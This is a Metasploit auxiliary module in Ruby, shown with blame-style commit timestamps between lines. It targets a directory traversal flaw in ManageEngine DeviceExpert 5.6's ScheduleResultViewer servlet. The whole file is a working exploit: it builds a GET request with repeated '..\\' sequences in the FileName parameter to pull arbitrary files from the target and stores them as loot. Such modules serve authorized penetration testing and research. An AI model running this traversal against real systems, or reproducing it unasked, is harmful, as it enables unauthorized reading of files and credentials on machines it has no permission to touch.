2012-03-26 17:42:24 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-03-26 17:42:24 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2012-03-26 17:42:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2012-03-26 17:42:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'ManageEngine DeviceExpert 5.6 ScheduleResultViewer FileName Traversal',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal vulnerability found in ManageEngine
|
|
|
|
DeviceExpert's ScheduleResultViewer Servlet. This is done by using
|
|
|
|
"..\..\..\..\..\..\..\..\..\..\" in the path in order to retrieve a file on a
|
|
|
|
vulnerable machine. Please note that the SSL option is required in order to send
|
|
|
|
HTTP requests.
|
|
|
|
},
|
2016-07-15 17:00:31 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '80262']
|
|
|
|
],
|
2013-08-30 21:28:54 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'rgod', #Discovery
|
|
|
|
'sinn3r'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'DisclosureDate' => "Mar 18 2012"
|
|
|
|
))
|
2012-03-26 17:42:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(6060),
|
|
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
2014-09-04 22:03:21 +00:00
|
|
|
OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2012-03-26 17:42:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
deregister_options('RHOST')
|
|
|
|
end
|
2012-03-26 17:42:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
|
|
|
traverse = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
|
|
|
|
filename = datastore['FILEPATH']
|
2012-03-26 17:42:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => "/scheduleresult.de/?FileName=#{traverse}#{filename}",
|
|
|
|
'method' => 'GET'
|
|
|
|
}, 25)
|
2012-03-26 17:42:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res
|
|
|
|
print_status("#{ip}:#{rport} returns: #{res.code.to_s}")
|
|
|
|
else
|
|
|
|
print_error("Unable to communicate with #{ip}:#{rport}")
|
|
|
|
return
|
|
|
|
end
|
2012-03-26 17:42:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res.body.empty?
|
|
|
|
print_error("#{ip}:#{rport} - no file downloaded (empty)")
|
|
|
|
else
|
|
|
|
fname = File.basename(datastore['FILEPATH'])
|
|
|
|
path = store_loot(
|
|
|
|
'manageengine.http',
|
|
|
|
'application/octet-stream',
|
|
|
|
ip,
|
|
|
|
res.body,
|
|
|
|
fname)
|
2012-03-26 17:42:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("#{ip}:#{rport} - File saved in: #{path}")
|
|
|
|
end
|
|
|
|
end
|
2012-03-26 17:58:18 +00:00
|
|
|
|
2014-06-17 19:03:18 +00:00
|
|
|
end
|